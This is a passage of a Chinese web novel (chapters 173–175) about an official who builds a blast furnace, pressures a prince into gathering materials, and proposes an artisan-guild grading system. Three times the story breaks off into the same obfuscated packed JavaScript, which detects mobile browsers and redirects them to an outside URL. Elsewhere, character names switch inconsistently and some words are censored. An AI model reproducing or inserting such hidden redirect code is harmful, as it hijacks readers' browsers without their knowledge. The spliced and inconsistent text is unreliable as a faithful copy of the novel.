“你这种人,丢荆州,怕是活不过三天!” “蠢货一个!” 他可没半点遮掩,直接开口骂。 秦琦那叫个委屈,眼前这帮工匠,原本好好的匠籍,因为许攸一道命令,就彻底被废了。 现在被逼到如此地步,许攸才是罪魁祸首,结果许攸不但不悔改,反而还责备他的不是。 “许师,你这真没道理!” “他们是匠人不假,可如今他们也是被逼无奈,要不是你改了制度,他们怎么会如此?” “还有那匠籍制度,根本就不是普通人能完成,你为何要立如此制度?” 秦琦很不理解,把匠籍分九个等级,还要有专业考核,最后还弄了个匠师和特级匠师,这纯纯在刁难。 九级以一级为次,九级为尊,五级以上才有匠籍,和原来的匠籍制度很冲突。 “那你的意思,我这制度不妥?” “何止不妥,是大大的不妥!” 许攸没解释,而是看向王小虎身边,另外一群工匠。 “你们也认为不妥?” 这群人都是匠籍,按照新的制度,属于六级工匠。 他们原本就擅长锻铁,在将作监打铁十多年,一直出于默默无闻的地步,匠籍更改之后,他们反而得到了好处。 “回老爷的话,我等并不认为不妥。” “只要按照规矩办事,我等也能有匠籍,并且日后也有晋升的机会,比原来更加轻松!” 一名铁匠闻言走出,朝着许攸恭敬一拜,脸上写满了欣喜。 这话让姜琦懵了,有人反对,居然还有人觉得好。 难不成当真是他错了? 他想不明白,想问许攸,奈何许攸也不解释。 “等你想明白,你就不会被人当傻子利用!” “现在按照这个,重新修建高炉,今日天黑之前,要搭建出雏形。” 许攸随手丢出一张图纸,丢给胡炜后,再次施施然背着手往外溜达。 第一百七十三章 高炉炼铁法 一群工匠围绕在胡炜身侧,至于王小虎等人,没人去关心。 此刻箫成已经带着禁卫赶来,上千禁卫的出现,也让场中再无半个敢**的。 “胡大人,这炉子怎么如此古怪?” 整个萧山营地内,气氛格外古怪,不少人额头冒着冷汗,呆呆看向禁卫。 胡炜也是满头冷汗,图纸上面每个字,每个图他都看得懂,但是连在一起,他和看天书似的。 “谁懂堆砌高炉,过来看看许大人留下的图纸。” 秦琦并没有走远,听到这话后,也露出了好奇的神色。 地上丁牛尸体被人带走,箫成正在处理善后,也没了多少危险。 见此,秦琦溜达到胡炜身侧。 “胡大人,可否把图纸给我看看?” 胡炜急的抓耳挠腮,现在都饷午,天儿之前没多久时间了,要是办不好,他可不怀疑许攸会不会提剑,把他一剑也给弄死。 众人都以为,丁牛是被许攸弄死的,只有秦琦看的最清楚,那是一枚短箭,刚好射穿了丁牛的咽喉。 图纸拿到手,秦琦脸上表情不断变化。 他读的书多,见识也多,但是眼前的炉子,说炉子,却也很奇怪。 高炉分上中下三层,居然有五米高。 下面的直径有两米,内设有填料槽,回焰槽,燃料槽,以及出料槽。 中间则是气孔,观察窗,最上面是烟囱和废气处理,以及观察口。 以往将作监用的高炉,就是个普通炉子,不过加高加厚。 众人完全不明白,同样是烧铁,都是把贴款式给磨碎烧成铁水,为什么到许攸这里,就变得如此复杂。 不理解归不理解,在场有的是人,外加上材料齐全,便有人提议开始按照图纸上的高炉先打造一个。 锻铁烧铁的人有千人,上千人的速度,可不是胡闹。三个时辰时间,高炉雏具外型,但只有一个字可以形容。 丑! 秦琦更是面容扭曲,上千人的努力,结果就是个超大的烟囱,他很怀疑这个是不是真的能炼铁。 如今已经是冬季,想要炼铁,可不是一件容易的事情。 傍晚时分,许攸再次出现,看到他出现,秦琦很不客气的跑过去。 “许师,您所说的东西,已经准备的差不多,您看看是否满意?” 他性格就是如此,佩服的时候,不加以掩饰,现在也没半点掩饰。 许攸仔细打量了番,发现基本上都是按照他所说,不过还有不少问题就是。 “底部炉子墙壁厚度不够,冬天容易开裂,不过现在可以试试看。” “点火让炉子墙壁烤均匀,再抹上米浆和草木灰,等到彻底凝固,就可以使用。” “另外这些地方需要用黄泥填补,胡炜你记一下,先等内层干透,外层再进行修补,修补过程依旧。” 姜琦听得一脸疑惑,却见胡炜眼睛瞪圆,仿佛见到鬼似的。 “胡大人,怎么了?” 胡炜深吸一口气,米浆水混合草木灰,这粘性可不是一般的大,这等秘法,只有老工匠才知晓, 谁也没想到,许攸年纪轻轻,居然懂这些事情。 仔细想想,若是没两把刷子,似乎真的无法给出如此神秘的图纸。 “许大人,用如此方法,高炉几日可以使用?” 许攸捏着下巴沉吟一番,按照他的估计,高炉最起码得六到七天才能使用。 不过现在得抓紧时间,大军随时都能动兵,早一天高炉启用,就对众人的好处早一分。 “五日,五日后开炉,我再给你一套锻铁的方法,以及一套炼钢方式,你按照此法修建水龙和高炉,尽快在十五日内完工。” 有了这座高炉做前提,也没人再问这是不是搞错的话语。 正当姜琦以为这件事到此结束,许攸却露出了真实的嘴脸。 打发走了胡炜等人,许攸笑眯眯看向秦琦。 “殿下,今日所见所得如何?” 秦琦到现在脑子内还是一片江湖。 要说没有得,那是不可能的,无论是许攸的雷霆手段,还是他的见识和知识,都够姜琦受用一辈子。 问题是他看不懂,完全看不懂。 姜琦自认为自己博学,结果连一张图纸都看不明白。 想到这图纸是许攸所画,他躬身一拜,露出佩服的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078436|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “许师博学多才,学生佩服。” “不值一提罢了,都是出恭时候随手画的。” 什么?! 出恭时候随手画的? 秦琦一口血憋在胸口,上千工匠蹲着研究半天没研究出来的东西,居然是许攸在出恭时候后随手画的。 要是那些工匠知道,会不会气死? 许攸可懒得和姜琦废话,当即指着不远处的高炉。 “五日后开始炼铁,殿下表现的机会,可就来了!” “这炉子内出的可不是生铁,而是精铁,并且加以提炼,还能炼钢!” “什么?炼钢?” 秦琦脸色大变,钢可是神物,整个大唐用钢所锻造的兵器铠甲,不足百副。 就在他的府邸,他也有一副精钢打造的铠甲,那是先皇赐予他的。 如今许攸居然说,可以炼钢! 秦琦不相信,就眼前这个奇丑无比的炉子,居然能练出钢。 “许师,你虽有惊天之才,但这番说辞,是不是?” 剩下的话秦琦没说,他相信许攸能懂。 吹牛谁都会,不是说能炼钢就能炼钢,得看真本事。 然而许攸却格外的淡定,甚至有点冷漠。 “你不信?” 何止是不信,秦琦就算是傻子,也不可能相信这鬼话。 秦琦郁闷的瞪大眼。 “许师,你看我像傻子吗?” 这话说的许攸一愣。 紧接着,许攸捏起下巴,仔仔细细,从头到尾,从上到下,好好的打量了一眼。 “像!” 秦琦真的要吐血了,他分明在说高炉炼钢的事情,怎么又变成了他是傻子? 他是傻子,那许攸是什么? 不就是个骗子? 反正不论许攸怎么说,他都是不会相信。 “许师,你刚才说五日后炼铁,这是什么意思?” 许攸无奈叹息,就这模样,还说不是傻子? 这分明就是大傻子! “钱!” “钱?” 秦琦再次懵逼,炼铁和钱又有什么关系? 见他实在不能理解自己意思,许攸干脆直白的摊开手。 “弄钱!” 第一百七十四章 敲诈小王爷 “我没钱,你给我弄钱去。” “弄不来钱,我就去陛下面前告状,说你欺师灭祖,打算谋反!” 秦琦指着许攸,因为太过愤怒,手指都在疯狂的颤抖。 他是万万没想到,许攸可以无耻到这个地步,居然以谋反为借口,来威胁他! “你觉得这话,皇姐会相信?” 许攸点点头,以秦曦这更年期提前的性格,说不定真的会信,而且还有很大概率,先砍了秦琦。 两人对视一眼,秦琦不说话了,呆呆的张大嘴巴。 他也意识到,自己似乎问了个很蠢的问题。 自家皇姐什么性格,那是霸道至极,也正因为如此性格,才能**成功。 可如今他居然不相信,想要挑战皇姐的威严。 “那总得有个名目,不然我如何开口?” 许攸很“贴心”的将准备好的账单,全部取出,放到秦琦的手里。 “殿下,我看好你,加油!” 秦琦低头看向手里清单,表情瞬间凝固1. 清单上,密密麻麻写满了各种材料。 “铁矿石,五十万斤。” “铁木,五千根。” “上等原木,十万斤。” “牛皮三千,牛筋五千……” 诸如此内的材料,从铁料到各种木炭、牛皮等等,都是一笔海量数字。 不仅如此,还有煤、硝石、硫磺等等,很多东西,秦琦都是在书中见过,仙师压根没听说过。 这数量不但恐怖,而且离谱到极点。 秦琦的脸上表情不停变化,看着如此巨量的材料,他很怀疑,要谋反的到底是丁牛,还是许攸! “许师,这……这……怕是不合适。” “这么多东西,怕是很难凑齐。” 许攸斜瞥一眼,依旧淡定无比。 “怎么,国库没钱?还是你弄不到手?” 钱不钱是一方面,问题很多东西,都是明令禁止,而且得上报到天子,要天子亲匀才能买卖。 “许师,这不是钱的事情。” “那就是你不行!” 许攸满脸鄙夷。 “小小年纪,居然不行了?改日我让人给你找两副药,保证你一夜十八次。” 秦琦脸颊涨红,他想说的是这这个吗? 药在什么地方? 为何他没听说过? “咳咳!” “钱不是问题,皇姐如此信任你,自是不会坐视不管,只是这个数量实在太大。” “而且你所需的都是朝廷严令交易,如此东西,就算是我拉下脸皮去买,也没人愿意卖啊!” 秦琦苦着脸,钱的问题,他倒是不担心,问题是这些材料,可不是普普通通就能弄到。 “就算我舅舅愿意出面,也至少三个月时间,从大唐各地调集到长安,也需要两三个月,少则半年,多则一年都无法送到。” 许攸嘴角撇撇,他当然知道这些材料送到长安要时间,但他不相信。 庐陵崔氏,可是世家中很强的一支,不可能连这点手段都没。 “我可没时间等你,高炉造好之后,就要开始炼铁,最多一个月!” “什么,一个月?” “对,就是一个月,清单上的所有东西,我都要看到,全部入库清点盘查结束!” 姜琦如遭雷击,整个人都懵了。 一个月时间,他就是深陷,也做不到这种事。 这根本就是在说胡话! “许师,你这是在开玩笑吧?” “一个月时间,从各地到长安,都来不及,何况如此多的材料,你就是真和皇姐告状,我也做不到。” 许攸直起身,眼神轻蔑,居高临下的看向秦琦。 “你这王爷也白当了!” “这么多年时间,你庐陵崔氏发展到什么地步,难道你自己不知道?” 姜琦脸色一僵,结结巴巴的道。 “许师,我,我……” “你是王爷,所以不敢,也不愿意冒险对不对?” 许攸伸出手,动作轻柔的落在姜琦肩头,手臂在他肩膀上不断轻拍。 “你王爷的大名,整个长安城,有几人知晓?” “如今天子而立,天下大势复杂,如今这个好机会,你当真愿意错过?” “别说我没给你机会,这长安城中的世家贵族,手里有什么东西,你比我更加的清楚!” “只要你把东西送上,我给你美言几句,你这王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078437|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未必没有可能。” “但是你要是不干,那到时候……嘿嘿。” 秦琦背后被冷汗打湿。 他听懂了,许攸是故意的! 此刻他有点慌,难道自己入长安的目的,已经被看出来了? 一瞬间,秦琦脑海内,闪烁出无数的念头,几乎要把他身上的衣服给打湿。 他不敢多想,可偏偏这一切,让他不得不多想。 他跟着许攸才几天时间,这都能被看穿? 此时的他,深吸一口气,强压下心中的波涛,勉强挤出个笑容。 “许师,我在看看!” 秦琦怕了,躬身将清单给再次打开,双手抖得也更加厉害。 很快他就发现了问题,煤这些,虽然大唐有记载,但至今无人开采,所用也只是少量。 “许师你看,煤、硝石这些,都难以保存,而且开采难度极大,这些东西运送到长安,怕是难度比其他的要更大。” 说到这里,他语气稍微放缓了一些。 “要是都普通的物件,这还能好说,但这些东西,可不是想得到就得到。” “你只给一个月时间,从开采到运输,再到长安这边,别说一个月,就是两三个月,怕是也难做到。” “这天下间,我崔氏虽然大,但也不是无敌,连我崔氏都办不到的事情,其他世家商贾,怕是更难!” 这番话说的情深意切,只要能懂事的,都会体谅一二。 可许攸是什么人? 许攸连眼皮都没抬一下,依旧是淡定的模样。 “这都是你的事情,和本官有什么关系?” “你要是觉得本官做的不对,和陛下去汇报,本官求之不得,能免了这差事!” 光脚不怕穿鞋的,许攸光棍一个,他可不怕。 秦琦脸上血色,再次瞬间消失的无影无踪。 他明白了,许攸这是故意吃定了他,偏偏他没任何的办法。 “明白,我这就去安排!” “等等,找几大商行,他们一定会给你的!五日内,我要听到消息。” 许攸竖起五根手指,再次压缩了下时间。 见此,秦琦内心哀嚎,只能拿着清单快步离开工部。 第一百七十五章 你觉得许攸是好人吗 御书房,秦曦刚批阅完几份奏疏,按照许攸所言,起身开始活动胫骨。 书房内檀香萦绕,青烟萦绕在房梁上,却驱散不了她心中阴霾。 自从许攸进入长安,朝廷局势就不停变换。 前有太子谋逆,如今梁王蠢蠢欲动,在朝堂上勾结武将文臣,隐隐已经成了气候。 秦曦想牵制,却发现回天乏术,不是她没手段,而是敌人太过狡猾。 “陛下,建业王求见。” 王迸在外面说了一句,轻手轻脚的跪在门口。 秦曦略感意外,这几日秦琦一直跟在许攸身边,倒是让她忘记,自己还有一位弟弟。 “让他进来!” “喏。” 很快,身穿常服的秦琦,捧着一捧厚厚的书册,快步来到大殿中。 “皇姐,臣弟拜见皇姐。” 秦琦的脸上带着几分凝重和不忿,表情也变得不是那么从容随和。 秦曦暗暗打量,见到他满脸都是怒意,心里更是错愕。 有关工部的事情,她早就知晓。 只要工部不报,她就当做不知道,任凭许攸折腾。 “这么晚入宫,可是工部出了什么事情?” 工部是没出什么事情,但秦琦回去后,便被自家舅舅拦下。 作为庐陵崔氏的继承人,当今的建业王,崔庸直接让秦琦带着书册进宫面圣。 秦琦内心也憋着火气,躬身将手里书册高举,沉声道。 “皇姐,工部并无其他事情,只是臣弟担心皇姐知晓工部事宜,心中不快,遂将许师所编著的新匠籍制度,以及匠人管理条例送上!” “哦?” 秦曦俏脸上浮现出开心,忍了这么久,许攸终于忍不住,把底牌露出来了吗? 她可是知道青尧县的繁荣,离不开一条条规矩,当初若不是李牧阻拦,现在的许攸不是在工部当个左侍郎,而是进入三省,取代李昌的位置。 书册被送到她的面前,两份都有两寸厚,上面密密麻麻写满了字。 印入眼帘的就是《匠籍制度法》。 工部虽然主管工事,但匠籍是三部商议协定,不是工部一部可以处置。 秦曦黛眉紧皱,伸手翻开书页。 第一页就用鲜红小字标注。 “民乃国之根本,民不强,则国不盛,民衰,则国亡!” “强民立根,自在当下,匠人以微末技术,可定天下,当以重视!” 这话可以说,把匠人提高到了不属于他们的高度。 民是国之根本,匠人是强民的根本,那就是重中之重。 秦曦来了兴趣,继续往下看。 “兹大唐匠人制度混乱,匠籍以推荐为主,具体有无能力,官府无法考核,只能以先辈推荐和认真为依据。” “故此,第一法,设立考核机构,名为匠人工会,专门负责匠人户籍考核,职业等级晋升认证,将地方匠人情况上报朝廷等等事宜!” 这方法! 妙! 秦琪美眸瞪大,论匠人的制度管辖。 士农工商,匠人在等级中排列第三,比商人要高一等,而入了匠籍的,则是比农还要高一等。 这导致许多人,哪怕是瞒报,倾家荡产,也要入匠籍,最典型的就是工部麾下的辅工。 辅工原本也是有匠籍,按照许攸的改革制度,这些人全部重新筛选,有资历通过考核,非但可以保留匠籍,还会给予相应的补偿和优待。 至于没有通过,全部降为最低等辅工,等能够考核再继续。 考核也不是天天可以,每个人每年只能申请两次,两次不过只能下一年,超过五次失败之后,只能保留当前等级,或者降级处理。 “这办法可行,你有什么问题吗?” 姜琦一愣,按照崔庸的说法,六万人匠籍更改,三部必然会头痛,朝廷也会格外重视。 可如今,似乎不是崔庸说的那样。 “朕明日朝会,自会和群臣商议,这匠工会不错,可以以当典范!” “日后不管是织女、绣工、铁匠,亦或者撑船,打鱼等都可以评级,按照等级划分。” “凡是能达到九级者,朝廷予以奖励,每月给与定额俸禄!” 听到这话的秦琦,恨不得抽自己两嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078438|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴。 原本是刁难许攸的事情,这下成了天下的大事。 这件事对百姓有利,他也能想到,天下要是知道此事后,到底有多疯狂。 “皇姐,可许师还说,如今的匠人工作太过辛苦,当劳逸结合。” “他还说每日工时要按照打卡计算,每日不得超过六个时辰,每月需要定休三日。” “另外每天需要有一顿肉食,凡是受伤者,都需要由匠人工会出钱医治,若是伤残,则全部交由匠人工会管辖。” 这就相当于把整个大唐的工匠,全部汇聚到了一起,形成了单独的部门。 如此一来,匠人工会如何选人,又如何管辖,则是成了大问题。 原本需要三部共同商议,现在则是一家处理,处理结果也不用上报中书省。 如此待遇简直是闻所未闻。 秦琦心中突突个不停,这办法一旦施行,天下间对许攸的赞赏,怕是要直逼天子。 “皇姐,许师说想要工匠们放心干活,大胆的干活,就是要解决他们后顾之忧。” “工欲善其事,必先利其器,说的就是这个道理,解决了所有负担,匠人们的力量无穷大!” 秦曦眯起眼,难怪青尧县能发展,此前她还在思索,许攸到底是如何做到的。 如今仔细一想,归根到底就一句话。 官府兜底! 青尧县有的是钱,官府能兜底,保证所有百姓衣食住行,无论生老病死,都能照顾。 所以青尧县的百姓没有顾虑,只要加入,就会全身心投入,将城池建设的更好。 此法必须学,也必须推广! “此事朕已经有了决议,既然许攸说可行,那就照着这个章程行事!” “明日朕自会和各位大臣商量!” 完了! 全完了! 秦琦额头冷汗不停落下,他是来告状的,而不是来为许攸表功。 此时的秦曦,也觉察出不对,若是秦琦真心实意把许攸当做老师,就不应该做出如此举动。 “十三弟,你觉得许攸此人,如何?” “是不是**?”